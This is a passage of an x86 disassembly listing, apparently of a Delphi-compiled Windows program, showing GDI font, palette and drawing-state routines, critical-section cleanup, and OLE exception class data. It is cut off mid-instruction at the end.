B R O U T I N E ======================================= sub_40015458 proc near ; CODE XREF: sub_400154D8+4Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch push esi push edi add esp, 0FFFFFFF8h mov esi, edx lea edi, [esp+10h+var_10] movsd movsd mov ecx, [esp+10h+var_C] mov edx, [esp+10h+var_10] call sub_40015380 pop ecx pop edx pop edi pop esi retn sub_40015458 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40015478 proc near ; CODE XREF: sub_400154D8+16p push ebx push esi mov ebx, eax mov esi, [ebx+4] test esi, esi jz short loc_400154D0 movzx eax, ds:byte_400154D4 not eax and al, [ebx+8] movzx edx, byte ptr [ebx+8] cmp dl, al jz short loc_400154D0 mov eax, ds:dword_4001F310 push eax push esi call sub_400066D0 ; SelectObject mov eax, ds:dword_4001F314 push eax mov eax, [ebx+4] push eax call sub_400066D0 ; SelectObject mov eax, ds:dword_4001F318 push eax mov eax, [ebx+4] push eax call sub_400066D0 ; SelectObject movzx eax, ds:byte_400154D4 not eax and al, [ebx+8] mov [ebx+8], al loc_400154D0: ; CODE XREF: sub_40015478+9j ; sub_40015478+1Dj pop esi pop ebx retn sub_40015478 endp ; --------------------------------------------------------------------------- align 4 byte_400154D4 db 0Eh ; DATA XREF: sub_40015478+Br ; sub_40015478+49r align 4 ; =============== S U B R O U T I N E ======================================= sub_400154D8 proc near ; CODE XREF: sub_40015840+66p var_10 = dword ptr -10h var_C = dword ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov eax, [ebx+4] cmp esi, eax jz short loc_40015527 test eax, eax jz short loc_40015512 mov eax, ebx call sub_40015478 mov edx, esp mov eax, ebx call sub_40015430 mov eax, [esp+10h+var_10] mov [ebx+18h], eax mov eax, [esp+10h+var_C] mov [ebx+1Ch], eax xor eax, eax mov [ebx+4], eax and byte ptr [ebx+8], 0FEh loc_40015512: ; CODE XREF: sub_400154D8+12j test esi, esi jz short loc_40015527 or byte ptr [ebx+8], 1 mov [ebx+4], esi lea edx, [ebx+18h] mov eax, ebx call sub_40015458 loc_40015527: ; CODE XREF: sub_400154D8+Ej ; sub_400154D8+3Cj pop ecx pop edx pop esi pop ebx retn sub_400154D8 endp ; =============== S U B R O U T I N E ======================================= sub_4001552C proc near ; CODE XREF: sub_40015380+12p ; sub_40015430+Fp var_C = byte ptr -0Ch push ebx push esi push ecx mov [esp+0Ch+var_C], dl mov esi, eax movzx ebx, byte ptr [esi+8] not ebx and bl, [esp+0Ch+var_C] movzx eax, ds:byte_400155A0 cmp al, bl jz short loc_4001559B test bl, 1 jz short loc_40015571 mov eax, esi mov edx, [eax] call dword ptr [edx+14h] cmp dword ptr [esi+4], 0 jnz short loc_40015571 mov ecx, off_4001AF68 mov dl, 1 mov eax, ds:off_40012FE0 call sub_4000B0EC call sub_400042E4 loc_40015571: ; CODE XREF: sub_4001552C+1Fj ; sub_4001552C+2Cj test bl, 2 jz short loc_4001557D mov eax, esi call sub_400155A4 loc_4001557D: ; CODE XREF: sub_4001552C+48j test bl, 4 jz short loc_40015589 mov eax, esi call sub_400155D0 loc_40015589: ; CODE XREF: sub_4001552C+54j test bl, 8 jz short loc_40015595 mov eax, esi call sub_40015600 loc_40015595: ; CODE XREF: sub_4001552C+60j or bl, [esi+8] mov [esi+8], bl loc_4001559B: ; CODE XREF: sub_4001552C+1Aj pop edx pop esi pop ebx retn sub_4001552C endp ; --------------------------------------------------------------------------- align 10h byte_400155A0 db 0 ; DATA XREF: sub_4001552C+11r align 4 ; =============== S U B R O U T I N E ======================================= sub_400155A4 proc near ; CODE XREF: sub_4001552C+4Cp push ebx mov ebx, eax mov eax, [ebx+0Ch] call sub_40014F8C push eax mov eax, [ebx+4] push eax call sub_400066D0 ; SelectObject mov eax, [ebx+0Ch] mov eax, [eax+18h] call sub_40014D5C push eax mov eax, [ebx+4] push eax call sub_400066F8 ; SetTextColor pop ebx retn sub_400155A4 endp ; =============== S U B R O U T I N E ======================================= sub_400155D0 proc near ; CODE XREF: sub_4001552C+58p push ebx mov ebx, eax mov eax, [ebx+10h] call sub_400151D0 push eax mov eax, [ebx+4] push eax call sub_400066D0 ; SelectObject mov eax, [ebx+10h] movzx eax, byte ptr [eax+18h] movzx eax, word_4001AD1C[eax*2] push eax mov eax, [ebx+4] push eax call sub_400066F0 ; SetROP2 pop ebx retn sub_400155D0 endp ; =============== S U B R O U T I N E ======================================= sub_40015600 proc near ; CODE XREF: sub_4001552C+64p push ebx mov ebx, eax mov eax, [ebx+14h] call sub_40015270 push eax call sub_40006700 ; UnrealizeObject mov eax, [ebx+14h] call sub_40015270 push eax mov eax, [ebx+4] push eax call sub_400066D0 ; SelectObject mov eax, [ebx+14h] call sub_40015350 test al, al jnz short loc_40015653 mov eax, [ebx+14h] call sub_40015268 call sub_40014D5C push eax mov eax, [ebx+4] push eax call sub_400066E0 ; SetBkColor push 2 mov eax, [ebx+4] push eax call sub_400066E8 ; SetBkMode pop ebx retn ; --------------------------------------------------------------------------- loc_40015653: ; CODE XREF: sub_40015600+2Dj mov eax, [ebx+14h] call sub_40015268 call sub_40014D5C not eax push eax mov eax, [ebx+4] push eax call sub_400066E0 ; SetBkColor push 1 mov eax, [ebx+4] push eax call sub_400066E8 ; SetBkMode pop ebx retn sub_40015600 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4001567C proc near var_424 = byte ptr -424h var_420 = byte ptr -420h var_408 = word ptr -408h var_406 = word ptr -406h var_404 = byte ptr -404h var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFBF8h push ebx mov [ebp+var_408], 300h mov [ebp+var_406], 10h lea edx, [ebp+var_404] mov ecx, 40h call sub_40002DFC push 0 call sub_40006718 ; GetDC mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_40015779 push dword ptr fs:[eax] mov fs:[eax], esp push 68h mov eax, [ebp+var_4] push eax call sub_400066A8 ; GetDeviceCaps mov ebx, eax cmp ebx, 10h jl loc_40015760 lea eax, [ebp+var_404] push eax push 8 push 0 mov eax, [ebp+var_4] push eax call sub_400066B8 ; GetSystemPaletteEntries cmp [ebp+var_3E8], 0C0C0C0h jnz short loc_40015742 lea eax, [ebp+var_3E8] push eax push 1 mov eax, ebx sub eax, 8 push eax mov eax, [ebp+var_4] push eax call sub_400066B8 ; GetSystemPaletteEntries movzx eax, [ebp+var_406] lea eax, [ebp+eax*4+var_420] push eax push 7 sub ebx, 7 push ebx mov eax, [ebp+var_4] push eax call sub_400066B8 ; GetSystemPaletteEntries lea eax, [ebp+var_3E4] push eax push 1 push 7 mov eax, [ebp+var_4] push eax call sub_400066B8 ; GetSystemPaletteEntries jmp short loc_40015760 ; --------------------------------------------------------------------------- loc_40015742: ; CODE XREF: sub_4001567C+78j movzx eax, [ebp+var_406] lea eax, [ebp+eax*4+var_424] push eax push 8 sub ebx, 8 push ebx mov eax, [ebp+var_4] push eax call sub_400066B8 ; GetSystemPaletteEntries loc_40015760: ; CODE XREF: sub_4001567C+54j ; sub_4001567C+C4j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015780 loc_4001576D: ; CODE XREF: sub_4001567C+102j mov eax, [ebp+var_4] push eax push 0 call sub_40006748 ; ReleaseDC retn ; --------------------------------------------------------------------------- loc_40015779: ; DATA XREF: sub_4001567C+39o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001576D ; --------------------------------------------------------------------------- loc_40015780: ; DATA XREF: sub_4001567C+ECo lea eax, [ebp+var_408] push eax call sub_40006680 ; CreatePalette pop ebx mov esp, ebp pop ebp retn sub_4001567C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40015794 proc near ; CODE XREF: sub_40015C34+3Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h mov eax, dword_4001AD44 call sub_40013AA4 mov [ebp+var_8], eax xor eax, eax push ebp push offset loc_40015832 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_8] mov eax, [eax+8] dec eax cmp eax, 0 jl short loc_4001581A mov [ebp+var_4], eax loc_400157C4: ; CODE XREF: sub_40015794+84j mov edx, [ebp+var_4] mov eax, [ebp+var_8] call sub_400137FC mov [ebp+var_C], eax mov eax, [ebp+var_C] call sub_400153AC test al, al jz short loc_40015811 xor eax, eax push ebp push offset loc_4001580A push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_C] call sub_40015840 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015811 loc_40015801: ; CODE XREF: sub_40015794+7Bj mov eax, [ebp+var_C] call sub_40015408 retn ; --------------------------------------------------------------------------- loc_4001580A: ; DATA XREF: sub_40015794+4Do jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015801 ; --------------------------------------------------------------------------- loc_40015811: ; CODE XREF: sub_40015794+48j ; sub_40015794+75j ; DATA XREF: ... dec [ebp+var_4] cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_400157C4 loc_4001581A: ; CODE XREF: sub_40015794+2Bj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015839 loc_40015827: ; CODE XREF: sub_40015794+A3j mov eax, dword_4001AD44 call sub_40013B08 retn ; --------------------------------------------------------------------------- loc_40015832: ; DATA XREF: sub_40015794+16o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015827 ; --------------------------------------------------------------------------- loc_40015839: ; CODE XREF: sub_40015794+9Dj ; DATA XREF: sub_40015794+8Eo mov esp, ebp pop ebp retn sub_40015794 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40015840 proc near ; CODE XREF: sub_40015794+5Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz loc_400158DB mov eax, [ebp+var_4] call sub_40015358 xor edx, edx push ebp push offset loc_400158D4 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov eax, [eax+5Ch] test eax, eax jz short loc_40015882 push eax mov eax, [ebp+var_4] mov eax, [eax+4] push eax call sub_400066D0 ; SelectObject loc_40015882: ; CODE XREF: sub_40015840+33j mov eax, [ebp+var_4] mov eax, [eax+60h] test eax, eax jz short loc_4001589B push 0FFFFFFFFh push eax mov eax, [ebp+var_4] mov eax, [eax+4] push eax call sub_400066D8 ; SelectPalette loc_4001589B: ; CODE XREF: sub_40015840+4Aj mov eax, [ebp+var_4] mov ebx, [eax+4] xor edx, edx mov eax, [ebp+var_4] call sub_400154D8 push ebx call sub_40006690 ; DeleteDC mov edx, [ebp+var_4] mov eax, dword_4001AD44 call sub_40013AB8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400158DB loc_400158CB: ; CODE XREF: sub_40015840+99j mov eax, [ebp+var_4] call sub_40015408 retn ; --------------------------------------------------------------------------- loc_400158D4: ; DATA XREF: sub_40015840+20o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400158CB ; --------------------------------------------------------------------------- loc_400158DB: ; CODE XREF: sub_40015840+Fj ; sub_40015840+93j ; DATA XREF: ... pop ebx pop ecx pop ebp retn sub_40015840 endp ; --------------------------------------------------------------------------- align 10h db 53h ; S db 6Ah ; j db 0 db 0E8h ; è db 30h ; 0 db 0Eh db 0FFh db 0FFh db 8Bh ; ‹ db 0D8h ; Ø db 6Ah ; j db 5Ah ; Z db 53h ; S db 0E8h ; è db 0B6h ; ¶ db 0Dh db 0FFh db 0FFh db 0A3h ; £ db 0Ch ; OFF32 SEGDEF [_bss,4001F30C] db 0F3h ; ó db 1 db 40h ; @ db 53h ; S db 6Ah ; j db 0 db 0E8h ; è db 49h ; I db 0Eh db 0FFh db 0FFh db 0B8h ; ¸ db 48h ; H OFF32 SEGDEF [_data,4001AD48] db 0ADh ; db 1 db 40h ; @ db 0BAh ; º db 0Fh db 0 db 0 db 0 db 0E8h ; è db 6Eh ; n db 0FDh ; ý db 0FFh db 0FFh db 0A3h ; £ db 4 ; OFF32 SEGDEF [_bss,4001F304] db 0F3h ; ó db 1 db 40h ; @ db 5Bh ; [ db 0C3h ; Ã align 4 ; =============== S U B R O U T I N E ======================================= sub_40015918 proc near ; CODE XREF: sub_40014F8C+178p var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFC8h mov bl, 1 push 0 call sub_40006718 ; GetDC mov esi, eax test esi, esi jz short loc_40015954 mov eax, ds:dword_4001F318 push eax push esi call sub_400066D0 ; SelectObject test eax, eax jz short loc_4001594C push esp push esi call sub_400066C0 ; GetTextMetricsA test eax, eax jz short loc_4001594C movzx ebx, [esp+40h+var_C] loc_4001594C: ; CODE XREF: sub_40015918+22j ; sub_40015918+2Dj push esi push 0 call sub_40006748 ; ReleaseDC loc_40015954: ; CODE XREF: sub_40015918+12j mov eax, ebx add esp, 38h pop esi pop ebx retn sub_40015918 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0C4h ; Ä db 0F8h ; ø db 0FEh ; þ db 0FFh db 0FFh db 33h ; 3 db 0C0h ; À db 89h ; ‰ db 45h ; E db 0FCh ; ü db 33h ; 3 db 0C0h ; À db 55h ; U db 68h ; h db 5Fh ; _ OFF32 SEGDEF [_text,40015A5F] db 5Ah ; Z db 1 db 40h ; @ db 64h ; d db 0FFh db 30h ; 0 db 64h ; d db 89h ; ‰ db 20h db 6Ah ; j db 48h ; H db 0A1h ; ¡ db 0Ch ; OFF32 SEGDEF [_bss,4001F30C] db 0F3h ; ó db 1 db 40h ; @ db 50h ; P db 6Ah ; j db 8 db 0E8h ; è db 81h ; db 0Ch db 0FFh db 0FFh db 0F7h ; ÷ db 0D8h ; Ø db 0A3h ; £ db 0ACh ; ¬ OFF32 SEGDEF [_data,4001AAAC] db 0AAh ; ª db 1 db 40h ; @ db 0A1h ; ¡ db 0C8h ; È OFF32 SEGDEF [_data,4001B0C8] db 0B0h ; ° db 1 db 40h ; @ db 83h ; ƒ db 38h ; 8 db 1 db 75h ; u db 16h db 0E8h ; è db 7Bh ; { db 0FFh db 0FFh db 0FFh db 3Ch ; < db 80h ; € db 75h ; u db 0Dh db 8Dh ; db 45h ; E db 0FCh ; ü db 0BAh ; º db 74h ; t OFF32 SEGDEF [_text,40015A74] db 5Ah ; Z db 1 db 40h ; @ db 0E8h ; è db 6Eh ; n db 0EFh ; ï db 0FEh ; þ db 0FFh db 0B2h ; ² db 1 db 0A1h ; ¡ db 4Ch ; L OFF32 SEGDEF [_text,4001404C] db 40h ; @ db 1 db 40h ; @ db 0E8h ; è db 92h ; ’ db 0E7h ; ç db 0FFh db 0FFh db 89h ; ‰ db 45h ; E db 0F8h ; ø db 33h ; 3 db 0C0h ; À db 55h ; U db 68h ; h db 17h ; OFF32 SEGDEF [_text,40015A17] db 5Ah ; Z db 1 db 40h ; @ db 64h ; d db 0FFh db 30h ; 0 db 64h ; d db 89h ; ‰ db 20h db 0BAh ; º db 2 db 0 db 0 db 80h ; € db 8Bh ; ‹ db 45h ; E db 0F8h ; ø db 0E8h ; è db 14h db 0E8h ; è db 0FFh db 0FFh db 0BAh ; º db 84h ; „ OFF32 SEGDEF [_text,40015A84] db 5Ah ; Z db 1 db 40h ; @ db 8Bh ; ‹ db 45h ; E db 0F8h ; ø db 0E8h ; è db 8Fh ; db 0E9h ; é db 0FFh db 0FFh db 84h ; „ db 0C0h ; À db 74h ; t db 18h db 8Dh ; db 4Dh ; M db 0FCh ; ü db 0BAh ; º db 0CCh ; Ì OFF32 SEGDEF [_text,40015ACC] db 5Ah ; Z db 1 db 40h ; @ db 8Bh ; ‹ db 45h ; E db 0F8h ; ø db 0E8h ; è db 0DBh ; Û db 0EBh ; ë db 0FFh db 0FFh db 8Bh ; ‹ db 45h ; E db 0F8h ; ø db 0E8h ; è db 0BBh ; » db 0E7h ; ç db 0FFh db 0FFh db 33h ; 3 db 0C0h ; À db 5Ah ; Z db 59h ; Y db 59h ; Y db 64h ; d db 89h ; ‰ db 10h db 68h ; h db 1Eh ; OFF32 SEGDEF [_text,40015A1E] db 5Ah ; Z db 1 db 40h ; @ ; --------------------------------------------------------------------------- loc_40015A0E: ; CODE XREF: .text:40015A1Cj mov eax, [ebp-8] call sub_40003CE8 retn ; --------------------------------------------------------------------------- jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015A0E ; --------------------------------------------------------------------------- loc_40015A1E: ; CODE XREF: .text:40015A16j cmp dword ptr [ebp-4], 0 jz short loc_40015A49 lea eax, [ebp-108h] mov edx, [ebp-4] mov ecx, 0FFh call sub_40004B20 lea edx, [ebp-108h] mov eax, offset byte_4001AAB7 mov cl, 1Fh call sub_400034F4 loc_40015A49: ; CODE XREF: .text:40015A22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015A66 loc_40015A56: ; CODE XREF: .text:40015A64j lea eax, [ebp-4] call sub_40004884 retn ; --------------------------------------------------------------------------- jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015A56 ; --------------------------------------------------------------------------- loc_40015A66: ; CODE XREF: .text:40015A5Ej ; DATA XREF: .text:40015A51o mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 6 aTahoma db 'Tahoma',0 align 4 dd 0FFFFFFFFh, 3Ch aSoftwareMicros db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes',0 align 4 dd 0FFFFFFFFh, 0Eh dd 5320534Dh, 6C6C6568h, 676C4420h, 3220h off_40015ADC dd offset dword_40015B28 ; DATA XREF: .itext:4001933Eo dd 7 dup(0) dd offset dword_40015B28 dd 20h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40015B70 dword_40015B28 dd 6150540Fh, 72657474h, 6E614D6Eh, 72656761h, 0D2845653h ; DATA XREF: .text:off_40015ADCo ; .text:40015AFCo dd 0C4830874h, 0E3EAE8F0h, 0DA8BFFFEh, 468DF08Bh, 8DE85008h dd 8BFFFF0Ah, 74DB84C6h, 0E42AE80Fh, 8F64FFFEh, 5, 0CC48300h dd 5B5EC68Bh, 408DC3h ; =============== S U B R O U T I N E ======================================= sub_40015B70 proc near ; DATA XREF: .text:40015B24o push ebx push esi call sub_40003FD8 mov ebx, edx mov esi, eax mov eax, esi call sub_40015BB4 lea eax, [esi+8] push eax call sub_40006518 ; RtlDeleteCriticalSection test bl, bl jle short loc_40015B96 mov eax, esi call sub_40003F80 loc_40015B96: ; CODE XREF: sub_40015B70+1Dj pop esi pop ebx retn sub_40015B70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40015B9C proc near ; CODE XREF: sub_40015BB4+19p add eax, 8 push eax call sub_40006520 ; RtlEnterCriticalSection retn sub_40015B9C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40015BA8 proc near ; CODE XREF: sub_40015BB4+47p add eax, 8 push eax call sub_400065E8 ; RtlLeaveCriticalSection retn sub_40015BA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40015BB4 proc near ; CODE XREF: sub_40015B70+Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi mov [ebp+var_4], eax jmp short loc_40015C21 ; --------------------------------------------------------------------------- loc_40015BC1: ; CODE XREF: sub_40015BB4+75j mov [ebp+var_8], ebx mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+var_4] call sub_40015B9C xor eax, eax push ebp push offset loc_40015C01 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_C] mov eax, [eax] mov edx, [ebp+var_4] mov [edx+4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015C08 loc_40015BF8: ; CODE XREF: sub_40015BB4+52j mov eax, [ebp+var_4] call sub_40015BA8 retn ; --------------------------------------------------------------------------- loc_40015C01: ; DATA XREF: sub_40015BB4+21o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015BF8 ; --------------------------------------------------------------------------- loc_40015C08: ; CODE XREF: sub_40015BB4+4Cj ; DATA XREF: sub_40015BB4+3Fo mov eax, [ebp+var_C] mov esi, [eax+4] test esi, esi jz short loc_40015C19 mov eax, esi call sub_40003CE8 loc_40015C19: ; CODE XREF: sub_40015BB4+5Cj mov eax, [ebp+var_8] call sub_40002C3C loc_40015C21: ; CODE XREF: sub_40015BB4+Bj mov eax, [ebp+var_4] mov ebx, [eax+4] test ebx, ebx jnz short loc_40015BC1 pop esi pop ebx mov esp, ebp pop ebp retn sub_40015BB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40015C34 proc near ; DATA XREF: .text:400183B8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40015CFD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F308 jnz loc_40015CEF mov eax, ds:dword_4001F360 call sub_40003CE8 mov eax, dword_4001AD40 call sub_40003CE8 mov eax, dword_4001AD3C call sub_40003CE8 call sub_40015794 mov eax, dword_4001AD44 call sub_40003CE8 mov eax, ds:dword_4001F35C call sub_40003CE8 mov eax, ds:dword_4001F350 call sub_40003CE8 mov eax, ds:dword_4001F354 call sub_40003CE8 mov eax, ds:dword_4001F358 call sub_40003CE8 mov eax, ds:dword_4001F304 push eax call sub_40006698 ; DeleteObject push offset dword_4001F320 call sub_40006518 ; RtlDeleteCriticalSection push offset dword_4001F338 call sub_40006518 ; RtlDeleteCriticalSection mov eax, offset dword_4001AAD8 mov ecx, 34h mov edx, ds:off_40013198 call sub_40005314 mov eax, offset dword_4001AC78 mov ecx, 12h mov edx, ds:off_40013198 call sub_40005314 loc_40015CEF: ; CODE XREF: sub_40015C34+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015D04 loc_40015CFC: ; CODE XREF: sub_40015C34+CEj retn ; --------------------------------------------------------------------------- loc_40015CFD: ; DATA XREF: sub_40015C34+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015CFC ; --------------------------------------------------------------------------- loc_40015D04: ; CODE XREF: sub_40015C34:loc_40015CFCj ; DATA XREF: sub_40015C34+C3o pop ebp retn sub_40015C34 endp ; --------------------------------------------------------------------------- align 4 off_40015D08 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF08o dd 0FF93h dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B044o dd 0FF94h dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B07Co dd 0FF95h dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF64o dd 0FF96h off_40015D28 dd offset dword_40015D74 ; DATA XREF: .text:40015DA8o ; sub_400165BC+21r ... dd 7 dup(0) dd offset dword_40015D74 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40015D74 dd 6C4F4509h, 72724565h, 0C08B726Fh ; .text:40015D48o off_40015D80 dd offset dword_40015DCC ; DATA XREF: .text:40015E04o ; sub_40016050+Ar ... dd 7 dup(0) dd offset dword_40015DCC dd 10h dd offset off_40015D28 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40015DCC dd 6C4F450Ch, 73795365h, 6F727245h, 408D72h ; .text:40015DA0o off_40015DDC dd offset dword_40015E28 ; DATA XREF: sub_40016180+B1r ; sub_40016280+54r ... dd 2 dup(0) dd offset dword_40015E28 dd 4 dup(0) dd offset word_40015E42 dd 18h dd offset off_40015D80 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40015E28 dd 0Eh, 20000h ; .text:40015DE8o db 2 dup(0) dd offset off_40001000 dw 10h db 2 dup(0) dd offset off_40001000 dw 14h db 2 dup(0) word_40015E42 dw 450Dh ; DATA XREF: .text:40015DFCo dword_40015E44 dd 45656C4Fh, 70656378h, 6E6F6974h, 0FFFFFFFFh, 9, 72617041h dd 6E656D74h, 74h, 0FFFFFFFFh, 4, 65657246h, 0 dword_40015E74 dd 0FFFFFFFFh, 4, 68746F42h, 0dword_40015E84 dd 0FFFFFFFFh, 7, 7475654Eh, 6C6172h ; =============== S U B R O U T I N E ======================================= sub_40015E94 proc near ; CODE XREF: sub_40015FB8+35p push ebx push esi mov ebx, edx mov esi, eax mov eax, ebx mov edx, esi call sub_400048D8 mov eax, [ebx] call sub_40008028 mov esi, eax jmp short loc_40015EC9 ; --------------------------------------------------------------------------- loc_40015EAE: ; CODE XREF: sub_40015E94+45j ; sub_40015E94+49j mov eax, [ebx] call sub_40004D48 mov edx, esi sub edx, eax mov eax, ebx call sub_40004F74 mov eax, [ebx] call sub_40008028 mov esi, eax loc_40015EC9: ; CODE XREF: sub_40015E94+18j mov eax, [ebx] call sub_40004B44 test eax, eax jle short loc_40015EDF movzx eax, byte ptr [esi] sub al, 21h jb short loc_40015EAE sub al, 0Dh jz short loc_40015EAE loc_40015EDF: ; CODE XREF: sub_40015E94+3Ej pop esi pop ebx retn sub_40015E94 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40015EE4 proc near ; CODE XREF: sub_40015FB8+41p ; sub_40016050+Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi push edi xor ebx, ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx test dl, dl jz short loc_40015F01 add esp, 0FFFFFFF0h call sub_40003F30 loc_40015F01: ; CODE XREF: sub_40015EE4+13j mov edi, ecx mov [ebp+var_5], dl mov ebx, eax mov esi, [ebp+arg_4] xor eax, eax push ebp push offset loc_40015F8E push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] mov edx, edi call sub_4000491C cmp [ebp+var_4], 0 jnz short loc_40015F5D lea edx, [ebp+var_4] mov eax, esi call sub_4000A81C cmp [ebp+var_4], 0 jnz short loc_40015F5D push 0 lea edx, [ebp+var_C] mov eax, off_4001AF08 call sub_400062F0 mov edx, [ebp+var_C] mov [ebp+var_14], esi mov [ebp+var_10], 0 lea ecx, [ebp+var_14] lea eax, [ebp+var_4] call sub_400086E0 loc_40015F5D: ; CODE XREF: sub_40015EE4+43j ; sub_40015EE4+53j mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] xor edx, edx mov eax, ebx call sub_4000B1BC mov [ebx+0Ch], esi xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015F95 loc_40015F7D: ; CODE XREF: sub_40015EE4+AFj lea eax, [ebp+var_C] call sub_40004884 lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40015F8E: ; DATA XREF: sub_40015EE4+2Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015F7D ; --------------------------------------------------------------------------- loc_40015F95: ; CODE XREF: sub_40015EE4+A9j ; DATA XREF: sub_40015EE4+94o mov eax, ebx cmp [ebp+var_5], 0 jz short loc_40015FAC call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_40015FAC: ; CODE XREF: sub_40015EE4+B7j mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_40015EE4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40015FB8 proc near ; CODE XREF: sub_40016180+B6p ; sub_40016784+62p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_40015FCC add esp, 0FFFFFFF0h call sub_40003F30 loc_40015FCC: ; CODE XREF: sub_40015FB8+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_4001602A push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_C] push eax mov eax, [ebp+arg_0] push eax lea edx, [ebp+var_4] mov eax, esi call sub_40015E94 mov ecx, [ebp+var_4] xor edx, edx mov eax, edi call sub_40015EE4 lea eax, [edi+10h] mov edx, [ebp+arg_8] call sub_400048D8 lea eax, [edi+14h] mov edx, [ebp+arg_4] call sub_400048D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40016031 loc_40016021: ; CODE XREF: sub_40015FB8+77j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4001602A: ; DATA XREF: sub_40015FB8+1Do jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short 